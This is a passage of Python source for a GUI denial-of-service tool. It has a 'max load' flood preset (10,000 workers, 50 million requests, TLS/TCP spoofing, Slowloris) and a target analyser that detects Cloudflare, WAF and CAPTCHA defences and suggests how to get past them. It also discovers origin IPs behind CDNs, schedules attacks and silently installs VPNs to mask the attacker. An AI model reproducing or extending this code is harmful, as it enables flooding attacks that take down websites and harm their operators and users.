| if hasattr(self, 'log_text'): | |
| self._configure_log_tags() | |
| self.log_text.configure(state=tk.NORMAL) | |
| self.log_text.insert(tk.END, f"[{timestamp}] ", 'INFO') | |
| self.log_text.insert(tk.END, f"{message}\n", level) | |
| self.log_text.configure(state=tk.DISABLED) | |
| self.log_text.see(tk.END) | |
| else: | |
| print(f"[{timestamp}] {message}") | |
| def browse_proxy(self): | |
| filename = filedialog.askopenfilename(title="Select Proxy List", filetypes=(("Text files", "*.txt"), ("All files", "*.*"))) | |
| if filename: | |
| self.proxy_file.set(filename) | |
| self.log(f"📁 Proxy file loaded: {filename}", "INFO") | |
| def set_max_load(self): | |
| self.mode_var.set("Integrated") | |
| self.threads.set(10000) | |
| self.duration.set(0) | |
| self.requests.set(50000000) | |
| self.method.set("GET") | |
| self.request_rate.set(0) | |
| self.vpn_mode.set("System Default") | |
| self.use_identities.set(True) | |
| self.use_human_timing.set(False) | |
| self.use_cffi.set(True) | |
| self.use_js_bypass.set(False) | |
| self.use_tcp_spoof.set(True) | |
| self.use_ai_payload.set(True) | |
| self.use_captcha.set(False) | |
| self.use_keepalive.set(True) | |
| self.max_load.set(True) | |
| self.use_http2.set(True) | |
| self.use_random_query.set(True) | |
| self.log("🚀 MAX LOAD ACTIVATED: 10,000 Async Workers, TLS Spoof ON, HTTP/2 ON, Slowloris + QUIC ON.", "SUCCESS") | |
| def _find_executable(self, names, extra_paths=None): | |
| found = [] | |
| for name in names: | |
| resolved = shutil.which(name) | |
| if resolved: | |
| found.append(resolved) | |
| for path in extra_paths or []: | |
| if path and os.path.exists(path): | |
| found.append(path) | |
| return sorted(set(found)) | |
| def detect_vpn_installation(self): | |
| status = {"Cloudflare WARP": False, "Tuxler VPN": False, "IP Sharkk": False} | |
| if platform.system() != "Windows": | |
| return status | |
| status["Cloudflare WARP"] = bool(self._find_executable( | |
| ["warp-cli.exe", "Cloudflare WARP.exe", "warp.exe"], | |
| [ | |
| r"C:\Program Files\Cloudflare\Cloudflare WARP\Cloudflare WARP.exe", | |
| r"C:\Program Files (x86)\Cloudflare\Cloudflare WARP\Cloudflare WARP.exe", | |
| r"C:\Program Files\Cloudflare\Cloudflare WARP\warp-cli.exe", | |
| r"C:\Program Files (x86)\Cloudflare\Cloudflare WARP\warp-cli.exe", | |
| r"C:\Program Files\Cloudflare\Cloudflare WARP\warp.exe", | |
| r"C:\Program Files (x86)\Cloudflare\Cloudflare WARP\warp.exe", | |
| ] | |
| )) | |
| status["Tuxler VPN"] = bool(self._find_executable( | |
| ["TuxlerVPN.exe"], | |
| [ | |
| os.path.join(os.environ.get('LOCALAPPDATA', ''), r"TuxlerVPN\TuxlerVPN.exe"), | |
| os.path.join(os.environ.get('APPDATA', ''), r"TuxlerVPN\TuxlerVPN.exe"), | |
| r"C:\Program Files\TuxlerVPN\TuxlerVPN.exe", | |
| r"C:\Program Files (x86)\TuxlerVPN\TuxlerVPN.exe", | |
| os.path.join(os.environ.get('LOCALAPPDATA', ''), r"Programs\TuxlerVPN\TuxlerVPN.exe"), | |
| os.path.join(os.environ.get('PROGRAMFILES', ''), r"TuxlerVPN\TuxlerVPN.exe"), | |
| ] | |
| )) | |
| status["IP Sharkk"] = bool(self._find_executable( | |
| ["IP Sharkk.exe", "IPSharkk.exe"], | |
| [ | |
| r"C:\Program Files\IP Sharkk\IP Sharkk.exe", | |
| r"C:\Program Files (x86)\IP Sharkk\IP Sharkk.exe", | |
| r"C:\Program Files (x86)\IPSharkk\IPSharkk.exe", | |
| os.path.join(os.environ.get('LOCALAPPDATA', ''), r"Programs\IP Sharkk\IP Sharkk.exe"), | |
| os.path.join(os.environ.get('LOCALAPPDATA', ''), r"Programs\IPSharkk\IPSharkk.exe"), | |
| ] | |
| )) | |
| return status | |
| def _install_vpn_if_needed(self, name): | |
| self.log(f"[!] {name} not found. Please install manually.") | |
| return False | |
| def _launch_vpn_application(self, name): | |
| if platform.system() != "Windows": | |
| self.log(f"[!] VPN launch is only supported on Windows.", "ERROR") | |
| return False | |
| paths = [] | |
| if name == "Cloudflare WARP": | |
| paths = [ | |
| r"C:\Program Files\Cloudflare\Cloudflare WARP\Cloudflare WARP.exe", | |
| r"C:\Program Files (x86)\Cloudflare\Cloudflare WARP\Cloudflare WARP.exe", | |
| r"C:\Program Files\Cloudflare\Cloudflare WARP\warp-cli.exe", | |
| r"C:\Program Files (x86)\Cloudflare\Cloudflare WARP\warp-cli.exe", | |
| r"C:\Program Files\Cloudflare\Cloudflare WARP\warp.exe", | |
| r"C:\Program Files (x86)\Cloudflare\Cloudflare WARP\warp.exe", | |
| ] | |
| elif name == "Tuxler VPN": | |
| paths = [ | |
| os.path.join(os.environ.get('LOCALAPPDATA', ''), r"TuxlerVPN\TuxlerVPN.exe"), | |
| os.path.join(os.environ.get('APPDATA', ''), r"TuxlerVPN\TuxlerVPN.exe"), | |
| r"C:\Program Files\TuxlerVPN\TuxlerVPN.exe", | |
| r"C:\Program Files (x86)\TuxlerVPN\TuxlerVPN.exe", | |
| ] | |
| elif name == "IP Sharkk": | |
| paths = [ | |
| r"C:\Program Files\IP Sharkk\IP Sharkk.exe", | |
| r"C:\Program Files (x86)\IP Sharkk\IP Sharkk.exe", | |
| r"C:\Program Files (x86)\IPSharkk\IPSharkk.exe", | |
| os.path.join(os.environ.get('LOCALAPPDATA', ''), r"Programs\IP Sharkk\IP Sharkk.exe"), | |
| os.path.join(os.environ.get('LOCALAPPDATA', ''), r"Programs\IPSharkk\IPSharkk.exe"), | |
| ] | |
| exe_path = None | |
| for path in paths: | |
| if path and os.path.exists(path): | |
| exe_path = path | |
| break | |
| if not exe_path: | |
| self.log(f"[!] {name} executable not found on disk.", "ERROR") | |
| return False | |
| try: | |
| subprocess.Popen([exe_path], shell=False) | |
| self.log(f"✅ Launched {name} application: {exe_path}", "SUCCESS") | |
| return True | |
| except Exception as e: | |
| self.log(f"[!] Failed to launch {name}: {e}", "ERROR") | |
| return False | |
| def _launch_tuxler_application(self, is_data_center: bool = False) -> bool: | |
| if platform.system() != "Windows": | |
| self.log(f"[!] Tuxler launch is only supported on Windows.", "ERROR") | |
| return False | |
| Application = None | |
| timings = None | |
| try: | |
| from pywinauto import Application, timings | |
| except Exception as e: | |
| self.log(f"[!] pywinauto is not available: {e}", "WARNING") | |
| paths = [ | |
| os.path.join(os.environ.get('LOCALAPPDATA', ''), r"TuxlerVPN\TuxlerVPN.exe"), | |
| os.path.join(os.environ.get('APPDATA', ''), r"TuxlerVPN\TuxlerVPN.exe"), | |
| r"C:\Program Files\TuxlerVPN\TuxlerVPN.exe", | |
| r"C:\Program Files (x86)\TuxlerVPN\TuxlerVPN.exe", | |
| ] | |
| exe_path = next((p for p in paths if p and os.path.exists(p)), None) | |
| if not exe_path: | |
| self.log("[!] Could not find Tuxler VPN executable. Please install or start it manually.", "ERROR") | |
| return False | |
| try: | |
| subprocess.Popen([exe_path], shell=False) | |
| self.log(f"✅ Launched Tuxler VPN: {exe_path}", "SUCCESS") | |
| time.sleep(5) | |
| except Exception as e: | |
| self.log(f"[!] Failed to launch Tuxler VPN: {e}", "ERROR") | |
| return False | |
| if Application: | |
| try: | |
| app = Application(backend="uia").connect(path=exe_path) | |
| dlg = app.top_window() | |
| dlg.set_focus() | |
| if is_data_center: | |
| for ctrl in dlg.descendants(control_type="Button"): | |
| text = ctrl.window_text().lower() | |
| if ("data" in text and "center" in text) or "protected" in text: | |
| ctrl.click_input() | |
| self.log("✅ Clicked Tuxler Data Center / Protected button.", "SUCCESS") | |
| return True | |
| self._click_window_button_by_title(dlg, ["data", "center", "protected"]) | |
| self.log("✅ Tuxler window opened successfully.", "SUCCESS") | |
| return True | |
| except Exception as e: | |
| self.log(f"[!] pywinauto could not automate Tuxler: {e}", "WARNING") | |
| hwnd = self._find_window_handle(["tuxler", "vpn"]) | |
| if hwnd: | |
| self._bring_window_to_front(hwnd) | |
| if is_data_center: | |
| self._click_window_button(hwnd, 0.50, 0.40) | |
| time.sleep(0.3) | |
| self._click_window_button(hwnd, 0.50, 0.70) | |
| self.log("✅ Attempted Data Center activation via mouse automation.", "SUCCESS") | |
| else: | |
| self._click_window_button(hwnd, 0.50, 0.50) | |
| self.log("✅ Clicked Tuxler window center to activate the app.", "SUCCESS") | |
| return True | |
| self.log("[!] Could not locate Tuxler window after launch. The app may still be starting.", "WARNING") | |
| return True | |
| def _find_window_handle(self, keywords: list[str]) -> Optional[int]: | |
| import ctypes | |
| user32 = ctypes.windll.user32 | |
| hwnds = [] | |
| EnumWindowsProc = ctypes.WINFUNCTYPE(ctypes.c_bool, ctypes.c_void_p, ctypes.c_void_p) | |
| def _enum_windows(hwnd, lparam): | |
| if user32.IsWindowVisible(hwnd): | |
| length = user32.GetWindowTextLengthW(hwnd) | |
| if length > 0: | |
| buff = ctypes.create_unicode_buffer(length + 1) | |
| user32.GetWindowTextW(hwnd, buff, length + 1) | |
| title = buff.value.lower() | |
| if any(keyword.lower() in title for keyword in keywords): | |
| hwnds.append(hwnd) | |
| return False | |
| return True | |
| user32.EnumWindows(EnumWindowsProc(_enum_windows), 0) | |
| return hwnds[0] if hwnds else None | |
| def _bring_window_to_front(self, hwnd: int): | |
| import ctypes | |
| user32 = ctypes.windll.user32 | |
| if user32.IsIconic(hwnd): | |
| user32.ShowWindow(hwnd, 9) | |
| user32.SetForegroundWindow(hwnd) | |
| time.sleep(0.4) | |
| def _click_window_button(self, hwnd: int, rel_x: float, rel_y: float): | |
| import ctypes | |
| rect = ctypes.wintypes.RECT() | |
| ctypes.windll.user32.GetWindowRect(hwnd, ctypes.byref(rect)) | |
| x = rect.left + int((rect.right - rect.left) * rel_x) | |
| y = rect.top + int((rect.bottom - rect.top) * rel_y) | |
| ctypes.windll.user32.SetCursorPos(x, y) | |
| ctypes.windll.user32.mouse_event(0x0002, 0, 0, 0, 0) | |
| time.sleep(0.06) | |
| ctypes.windll.user32.mouse_event(0x0004, 0, 0, 0, 0) | |
| time.sleep(0.18) | |
| def _click_window_button_by_title(self, dlg, keywords: list[str]): | |
| try: | |
| for ctrl in dlg.descendants(control_type="Button"): | |
| text = ctrl.window_text().lower() | |
| if any(keyword in text for keyword in keywords): | |
| ctrl.click_input() | |
| return True | |
| except Exception: | |
| pass | |
| return False | |
| def check_and_install_dependencies(self): | |
| self.log("[⚙️] System Dependency Check Starting...", "INFO") | |
| self.log("=" * 50, "INFO") | |
| import platform | |
| current_os = platform.system() | |
| self.log(f" [🖥️] OS Detected: {current_os} ({platform.platform()})", "INFO") | |
| self.log("", "INFO") | |
| # ---- Phase 1: Python Packages ---- | |
| pip_packages = { | |
| "curl_cffi": "curl_cffi", | |
| "playwright": "playwright", | |
| "scapy": "scapy", | |
| "bs4": "beautifulsoup4", | |
| } | |
| missing_pip = [] | |
| playwright_installed = False | |
| for import_name, pip_name in pip_packages.items(): | |
| try: | |
| __import__(import_name) | |
| self.log(f" [✅] {pip_name}", "SUCCESS") | |
| if import_name == "playwright": | |
| playwright_installed = True | |
| except ImportError: | |
| self.log(f" [❌] {pip_name} - MISSING", "ERROR") | |
| missing_pip.append(pip_name) | |
| # ---- Phase 2: Check VPN/Proxy Software ---- | |
| self.log("", "INFO") | |
| missing_vpns = {} | |
| if current_os == "Windows": | |
| self.log("[⚙️] Checking VPN/Proxy Software (Windows)...", "INFO") | |
| vpn_apps = { | |
| "Cloudflare WARP": { | |
| "paths": [ | |
| r"C:\Program Files\Cloudflare\Cloudflare WARP\Cloudflare WARP.exe", | |
| r"C:\Program Files (x86)\Cloudflare\Cloudflare WARP\Cloudflare WARP.exe", | |
| r"C:\Program Files\Cloudflare\Cloudflare WARP\warp-cli.exe", | |
| r"C:\Program Files (x86)\Cloudflare\Cloudflare WARP\warp-cli.exe", | |
| r"C:\Program Files\Cloudflare\Cloudflare WARP\warp.exe", | |
| r"C:\Program Files (x86)\Cloudflare\Cloudflare WARP\warp.exe", | |
| ], | |
| "names": ["warp-cli.exe", "Cloudflare WARP.exe", "warp.exe"], | |
| "download_url": "https://1111-releases.cloudflareclient.com/windows/Cloudflare_WARP_Release-x64.msi", | |
| "filename": "Cloudflare_WARP.msi", | |
| "install_type": "msi", | |
| }, | |
| "Tuxler VPN": { | |
| "paths": [ | |
| os.path.join(os.environ.get('LOCALAPPDATA', ''), r"TuxlerVPN\TuxlerVPN.exe"), | |
| os.path.join(os.environ.get('APPDATA', ''), r"TuxlerVPN\TuxlerVPN.exe"), | |
| r"C:\Program Files\TuxlerVPN\TuxlerVPN.exe", | |
| r"C:\Program Files (x86)\TuxlerVPN\TuxlerVPN.exe", | |
| os.path.join(os.environ.get('LOCALAPPDATA', ''), r"Programs\TuxlerVPN\TuxlerVPN.exe"), | |
| os.path.join(os.environ.get('PROGRAMFILES', ''), r"TuxlerVPN\TuxlerVPN.exe"), | |
| ], | |
| "names": ["TuxlerVPN.exe"], | |
| "download_url": "https://api.tuxlervpn.com/extension_event.php?id=download_desktop_win", | |
| "filename": "TuxlerVPN_Setup.exe", | |
| "install_type": "exe", | |
| "download_headers": { | |
| "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", | |
| "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", | |
| "Accept-Language": "en-US,en;q=0.9", | |
| "Referer": "https://www.tuxlervpn.com/download-windows/", | |
| }, | |
| }, | |
| "IP Sharkk": { | |
| "paths": [ | |
| r"C:\Program Files\IP Sharkk\IP Sharkk.exe", | |
| r"C:\Program Files (x86)\IP Sharkk\IP Sharkk.exe", | |
| r"C:\Program Files (x86)\IPSharkk\IPSharkk.exe", | |
| os.path.join(os.environ.get('LOCALAPPDATA', ''), r"Programs\IP Sharkk\IP Sharkk.exe"), | |
| os.path.join(os.environ.get('LOCALAPPDATA', ''), r"Programs\IPSharkk\IPSharkk.exe"), | |
| ], | |
| "names": ["IP Sharkk.exe", "IPSharkk.exe"], | |
| } | |
| } | |
| for name, info in vpn_apps.items(): | |
| found_paths = self._find_executable(info.get("names", []), info.get("paths", [])) | |
| if found_paths: | |
| self.log(f" [✅] {name} - Installed ({found_paths[0]})", "SUCCESS") | |
| else: | |
| self.log(f" [❌] {name} - NOT FOUND", "ERROR") | |
| if info.get("download_url"): | |
| missing_vpns[name] = info | |
| elif current_os == "Linux": | |
| self.log("[⚙️] Checking VPN/Proxy Software (Linux)...", "INFO") | |
| warp_installed = os.path.exists("/usr/bin/warp-cli") or os.path.exists("/usr/local/bin/warp-cli") | |
| if warp_installed: | |
| self.log(" [✅] Cloudflare WARP - Installed", "SUCCESS") | |
| else: | |
| self.log(" [❌] Cloudflare WARP - NOT FOUND", "ERROR") | |
| missing_vpns["Cloudflare WARP (Linux)"] = {"install_type": "linux_warp"} | |
| openvpn_installed = os.path.exists("/usr/sbin/openvpn") or os.path.exists("/usr/bin/openvpn") | |
| if openvpn_installed: | |
| self.log(" [✅] OpenVPN - Installed", "SUCCESS") | |
| else: | |
| self.log(" [❌] OpenVPN - NOT FOUND", "ERROR") | |
| missing_vpns["OpenVPN (Linux)"] = {"install_type": "linux_openvpn"} | |
| else: | |
| self.log(f"[⚠️] {current_os} OS detected. VPN auto-installation not supported.", "WARNING") | |
| # ---- Phase 3: Install Everything ---- | |
| needs_browser_install = playwright_installed or "playwright" in missing_pip | |
| if not missing_pip and not missing_vpns and not needs_browser_install: | |
| self.log("", "INFO") | |
| self.log("[🚀] All dependencies ready! Full stealth mode available.", "SUCCESS") | |
| return | |
| if not missing_pip and not missing_vpns and needs_browser_install: | |
| self.log("", "INFO") | |
| self.log("[⚠️] Playwright detected: verifying Chromium installation...", "WARNING") | |
| else: | |
| self.log("", "INFO") | |
| self.log(f"[*] Auto-installing {len(missing_pip)} packages + {len(missing_vpns)} VPN apps...", "WARNING") | |
| self.start_btn.config(state=tk.DISABLED) | |
| def installer_thread(): | |
| downloads_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), "downloads") | |
| os.makedirs(downloads_dir, exist_ok=True) | |
| def download_with_fallback(url, filepath, headers=None, name=None): | |
| headers = headers or {"User-Agent": "Mozilla/5.0", "Accept": "application/octet-stream", "Accept-Language": "en-US,en;q=0.9"} | |
| for attempt in range(3): | |
| try: | |
| req = urllib.request.Request(url, headers=headers) | |
| import ssl | |
| ctx = ssl.create_default_context() | |
| ctx.check_hostname = False | |
| ctx.verify_mode = ssl.CERT_NONE | |
| with urllib.request.urlopen(req, context=ctx, timeout=120) as resp: | |
| data = resp.read() | |
| with open(filepath, "wb") as f: | |
| f.write(data) | |
| return True | |
| except Exception: | |
| try: | |
| import requests | |
| resp = requests.get(url, headers=headers, timeout=120, allow_redirects=True) | |
| if resp.status_code == 200 and resp.content: | |
| with open(filepath, "wb") as f: | |
| f.write(resp.content) | |
| return True | |
| except Exception: | |
| pass | |
| if name == "Tuxler VPN" and attempt == 0: | |
| try: | |
| page_url = "https://www.tuxlervpn.com/download-windows/" | |
| page_req = urllib.request.Request(page_url, headers={ | |
| "User-Agent": headers.get("User-Agent"), | |
| "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", | |
| "Accept-Language": headers.get("Accept-Language"), | |
| "Referer": "https://www.tuxlervpn.com/download-windows/", | |
| }) | |
| with urllib.request.urlopen(page_req, context=ctx, timeout=120) as page_resp: | |
| page_html = page_resp.read().decode("utf-8", errors="ignore") | |
| match = re.search(r'href=["\']([^"\']*TuxlerVPN[^"\']*\.exe)["\']', page_html) | |
| if match: | |
| url = urllib.parse.urljoin(page_url, match.group(1)) | |
| continue | |
| except Exception: | |
| pass | |
| time.sleep(2) | |
| return False | |
| # --- Linux: Install system dependencies first --- | |
| if current_os == "Linux" and missing_pip: | |
| self.root.after(0, self.log, " [🐧] Installing Linux system dependencies...", "INFO") | |
| linux_deps = [ | |
| ["sudo", "apt-get", "update", "-qq"], | |
| ["sudo", "apt-get", "install", "-y", "-qq", "libcurl4-openssl-dev", "libssl-dev", "python3-pip", "python3-dev", "build-essential", "chromium-browser"], | |
| ] | |
| for dep_cmd in linux_deps: | |
| try: | |
| subprocess.run(dep_cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=120) | |
| except Exception: | |
| pass | |
| # --- Install pip packages --- | |
| for pkg in missing_pip: | |
| self.root.after(0, self.log, f" [📦] pip install {pkg}...", "INFO") | |
| try: | |
| pip_cmd = [sys.executable, "-m", "pip", "install", pkg] | |
| if current_os == "Linux": | |
| pip_cmd.append("--user") | |
| subprocess.check_call(pip_cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) | |
| self.root.after(0, self.log, f" [✅] {pkg} installed!", "SUCCESS") | |
| except Exception as e: | |
| if current_os == "Linux": | |
| try: | |
| subprocess.check_call(["pip3", "install", "--user", pkg], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) | |
| self.root.after(0, self.log, f" [✅] {pkg} installed (via pip3)!", "SUCCESS") | |
| continue | |
| except Exception: | |
| pass | |
| self.root.after(0, self.log, f" [❌] {pkg} failed: {e}", "ERROR") | |
| # --- Install or verify Playwright Chromium browser --- | |
| if playwright_installed or "playwright" in missing_pip: | |
| self.root.after(0, self.log, " [🌐] Ensuring Playwright Chromium browser is installed...", "INFO") | |
| try: | |
| subprocess.check_call([sys.executable, "-m", "playwright", "install", "chromium"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) | |
| self.root.after(0, self.log, " [✅] Playwright Chromium ready!", "SUCCESS") | |
| except Exception as e: | |
| self.root.after(0, self.log, f" [❌] Playwright Chromium install failed: {e}", "ERROR") | |
| else: | |
| self.root.after(0, self.log, " [✅] Chromium verification skipped (Playwright unavailable).", "INFO") | |
| # --- Install VPN Software --- | |
| for name, info in missing_vpns.items(): | |
| install_type = info.get("install_type") | |
| if install_type == "linux_warp": | |
| self.root.after(0, self.log, f" [⬇️] Installing {name} via apt...", "INFO") | |
| try: | |
| cmds = [ | |
| ["sudo", "apt-get", "install", "-y", "-qq", "curl", "gpg"], | |
| ["bash", "-c", "curl -fsSL https://pkg.cloudflareclient.com/pubkey.gpg | sudo gpg --yes --dearmor -o /usr/share/keyrings/cloudflare-warp-archive-keyring.gpg"], | |
| ["bash", "-c", "echo 'deb [signed-by=/usr/share/keyrings/cloudflare-warp-archive-keyring.gpg] https://pkg.cloudflareclient.com/ bookworm main' | sudo tee /etc/apt/sources.list.d/cloudflare-client.list"], | |
| ["sudo", "apt-get", "update", "-qq"], | |
| ["sudo", "DEBIAN_FRONTEND=noninteractive", "apt-get", "install", "-y", "-qq", "cloudflare-warp"], | |
| ] | |
| for cmd in cmds: | |
| subprocess.run(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=120) | |
| warp_bin = "/usr/bin/warp-cli" if os.path.exists("/usr/bin/warp-cli") else "warp-cli" | |
| subprocess.run([warp_bin, "registration", "new"], capture_output=True, timeout=15) | |
| subprocess.run([warp_bin, "connect"], capture_output=True, timeout=15) | |
| self.root.after(0, self.log, f" [✅] {name} installed and connected!", "SUCCESS") | |
| except Exception as e: | |
| self.root.after(0, self.log, f" [❌] {name} install failed: {e}", "ERROR") | |
| elif install_type == "linux_openvpn": | |
| self.root.after(0, self.log, f" [⬇️] Installing {name} via apt...", "INFO") | |
| try: | |
| subprocess.run(["sudo", "apt-get", "install", "-y", "-qq", "openvpn"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=120) | |
| self.root.after(0, self.log, f" [✅] {name} installed!", "SUCCESS") | |
| except Exception as e: | |
| self.root.after(0, self.log, f" [❌] {name} install failed: {e}", "ERROR") | |
| elif install_type in ("msi", "exe"): | |
| url = info.get("download_url") | |
| filename = info.get("filename") | |
| if not url or not filename: | |
| continue | |
| filepath = os.path.join(downloads_dir, filename) | |
| if os.path.exists(filepath): | |
| self.root.after(0, self.log, f" [📁] {name} installer already downloaded: {filepath}", "INFO") | |
| else: | |
| self.root.after(0, self.log, f" [⬇️] Downloading {name} installer...", "INFO") | |
| headers = info.get("download_headers", {"User-Agent": "Mozilla/5.0"}) | |
| success = download_with_fallback(url, filepath, headers=headers, name=name) | |
| if success: | |
| size_mb = os.path.getsize(filepath) / (1024 * 1024) | |
| self.root.after(0, self.log, f" [✅] {name} downloaded! ({size_mb:.1f} MB)", "SUCCESS") | |
| else: | |
| self.root.after(0, self.log, f" [❌] {name} download failed after retries", "ERROR") | |
| continue | |
| self.root.after(0, self.log, f" [⚡] Auto-installing {name}...", "INFO") | |
| try: | |
| if install_type == "msi": | |
| subprocess.Popen(["msiexec.exe", "/i", filepath, "/quiet", "/qn", "/norestart"]) | |
| elif install_type == "exe": | |
| subprocess.Popen([filepath, "/S"]) | |
| self.root.after(0, self.log, f" [✅] {name} installation started.", "SUCCESS") | |
| except Exception as inst_err: | |
| self.root.after(0, self.log, f" [⚠️] Auto-install failed. Run manually: {filepath}", "WARNING") | |
| self.root.after(0, self.log, "", "INFO") | |
| self.root.after(0, self.log, "[🚀] Auto-setup complete! All features are now available.", "SUCCESS") | |
| self.root.after(0, lambda: self.start_btn.config(state=tk.NORMAL)) | |
| threading.Thread(target=installer_thread, daemon=True).start() | |
| def analyze_target(self): | |
| target = self.target.get().strip() | |
| if not target: | |
| messagebox.showerror("Error", "Please enter a target URL") | |
| return | |
| self.log(f"🔍 Analyzing target: {target}", "INFO") | |
| threading.Thread(target=self._analyze_target_thread, args=(target,), daemon=True).start() | |
| def _analyze_target_thread(self, target): | |
| import requests, ssl | |
| result = {"url": target, "status": "UNKNOWN", "code": None, "protection": [], "suggestions": [], "up": False} | |
| try: | |
| session = requests.Session() | |
| session.trust_env = False | |
| session.headers.update({'User-Agent': random.choice(USER_AGENTS)}) | |
| resp = session.get(target, timeout=10, verify=False) | |
| result["code"] = resp.status_code | |
| result["up"] = True | |
| html = resp.text[:4096].lower() | |
| result["response_time"] = resp.elapsed.total_seconds() * 1000 | |
| headers = {k.lower(): v.lower() for k, v in resp.headers.items()} | |
| if 'cf-ray' in headers or 'cloudflare' in headers.get('server', ''): | |
| result["protection"].append("Cloudflare") | |
| if 'x-amz' in str(headers): | |
| result["protection"].append("AWS WAF/CloudFront") | |
| if 'x-sucuri' in headers: | |
| result["protection"].append("Sucuri WAF") | |
| if 'x-ddos' in headers: | |
| result["protection"].append("DDoS-GUARD") | |
| if 'just a moment' in html: | |
| result["protection"].append("Cloudflare JS Challenge") | |
| if 'g-recaptcha' in html or 'h-captcha' in html: | |
| result["protection"].append("CAPTCHA") | |
| if not result["protection"]: | |
| result["suggestions"].append("No protection detected – use high-speed flood") | |
| else: | |
| if "Cloudflare" in result["protection"]: | |
| result["suggestions"].append("Enable TLS Spoof + JS Bypass") | |
| if "CAPTCHA" in result["protection"]: | |
| result["suggestions"].append("Use 2Captcha API key") | |
| self.root.after(0, self._show_analysis_result, result) | |
| except requests.exceptions.HTTPError as e: | |
| result["code"] = e.response.status_code if e.response is not None else None | |
| result["up"] = False | |
| if result["code"] == 403: | |
| result["protection"].append("WAF (403)") | |
| result["suggestions"].append("Try TLS Spoof or change User-Agent") | |
| elif result["code"] == 429: | |
| result["protection"].append("Rate Limiting") | |
| result["suggestions"].append("Slow down or use proxies") | |
| elif result["code"] in (500, 502, 503, 504): | |
| result["protection"].append("Server Error – might be down") | |
| self.root.after(0, self._show_analysis_result, result) | |
| except requests.exceptions.RequestException as e: | |
| result["error"] = str(e) | |
| if 'socks' in result["error"].lower() or 'proxy' in result["error"].lower(): | |
| result["suggestions"].append("Proxy/SOCKS issue detected. Disable local proxy or set System Default VPN.") | |
| self.root.after(0, self._show_analysis_result, result) | |
| except Exception as e: | |
| result["error"] = str(e) | |
| self.root.after(0, self._show_analysis_result, result) | |
| def _show_analysis_result(self, result): | |
| msg = f"📊 Target Analysis Report\n" | |
| msg += f"URL: {result['url']}\n" | |
| msg += f"Status: {'🟢 UP' if result.get('up') else '🔴 DOWN'}\n" | |
| msg += f"HTTP Code: {result.get('code', 'N/A')}\n" | |
| if result.get('response_time'): | |
| msg += f"Response Time: {result['response_time']:.0f} ms\n" | |
| msg += f"Protections: {', '.join(result.get('protection', ['None']))}\n" | |
| msg += f"Suggestions: {', '.join(result.get('suggestions', ['No specific advice']))}\n" | |
| if result.get('error'): | |
| msg += f"Error: {result['error']}\n" | |
| messagebox.showinfo("Analysis Result", msg) | |
| self.log(f"[Analysis] {result['url']} – {result.get('protection', ['None'])}") | |
| def find_origin_ip_ui(self): | |
| target = self.target.get().strip() | |
| if not target: | |
| messagebox.showwarning("Input required", "Please enter a target URL first.") | |
| return | |
| parsed = urllib.parse.urlparse(target) | |
| hostname = parsed.hostname or target | |
| self.log(f"🔎 Finding origin IP for {hostname}", "INFO") | |
| results = find_origin_ip(hostname) | |
| message = "\n".join([f"{item['ip']}{':' + str(item['port']) if item['port'] else ''}" for item in results]) or "No origin IPs found." | |
| messagebox.showinfo("Origin IP Results", message) | |
| self.log(f"✅ Origin IP discovery completed: {message}", "SUCCESS") | |
| def load_targets_ui(self): | |
| path = filedialog.askopenfilename(title="Select target list file", filetypes=[("Text files", "*.txt"), ("All files", "*")]) | |
| if not path: | |
| return | |
| targets = load_targets_from_file(path) | |
| if not targets: | |
| messagebox.showwarning("No targets", "No valid targets were found in the selected file.") | |
| return | |
| self.log(f"📄 Loaded {len(targets)} targets from {os.path.basename(path)}", "INFO") | |
| self.target.set(targets[0]) | |
| self.loaded_targets = targets | |
| def schedule_attack_ui(self): | |
| schedule_time = simpledialog.askstring("Schedule Attack", "Enter attack time (YYYY-MM-DD HH:MM):") | |
| if not schedule_time: | |
| return | |
| try: | |
| datetime.datetime.strptime(schedule_time, "%Y-%m-%d %H:%M") | |
| self.log(f"⏰ Attack scheduled for {schedule_time}", "INFO") | |
| messagebox.showinfo("Scheduled", f"Attack scheduled for {schedule_time}") | |
| except Exception: | |
| messagebox.showerror("Invalid format", "Please use YYYY-MM-DD HH:MM format.") | |
| self.log("❌ Invalid schedule format entered.", "ERROR") | |
| return | |
| def start_attack(self): | |
| if self.attack_running: | |
| return | |
| target = self.target.get().strip() | |
| if not target: | |
| messagebox.showerror("Error", "Please enter a target URL") | |
| return | |
| vpn_selection = self.vpn_mode.get() | |
| if vpn_selection not in ("System Default", ""): | |
| vpn_status = self.detect_vpn_installation() | |
| if "Cloudflare" in vpn_selection and not vpn_status.get("Cloudflare WARP"): | |
| messagebox.showerror("VPN Not Found", "Cloudflare WARP is not installed or detected on this system. Please install it or select System Default.") | |
| return | |
| elif "Tuxler" in vpn_selection and not vpn_status.get("Tuxler VPN"): | |
| messagebox.showerror("VPN Not Found", "Tuxler VPN is not installed or detected on this system. Please install it or select System Default.") | |
| return | |
| elif "IP Sharkk" in vpn_selection and not vpn_status.get("IP Sharkk"): | |
| messagebox.showerror("VPN Not Found", "IP Sharkk is not installed or detected on this system. Please install it or select System Default.") | |
| return | |
| if "Tuxler" in vpn_selection: | |
| is_data_center = "Data Center" in vpn_selection | |
| if not self._launch_tuxler_application(is_data_center=is_data_center): | |
| messagebox.showerror("VPN Launch Failed", "Could not launch Tuxler VPN. Please open it manually and try again.") | |
| return | |
| else: | |
| vpn_name = "Cloudflare WARP" if "Cloudflare" in vpn_selection else "IP Sharkk" | |
| if not self._launch_vpn_application(vpn_name): | |
| messagebox.showerror("VPN Launch Failed", f"Could not launch {vpn_name}. Please open it manually and try again.") | |
| return | |
| self.attack_running = True | |
| self.start_btn.config(state=tk.DISABLED, text="⚡ ATTACKING...") | |
| self.stop_btn.config(state=tk.NORMAL) | |
| self.status_bar.config(text="🔥 ATTACK IN PROGRESS...") | |
| for label in self.stats_labels.values(): | |
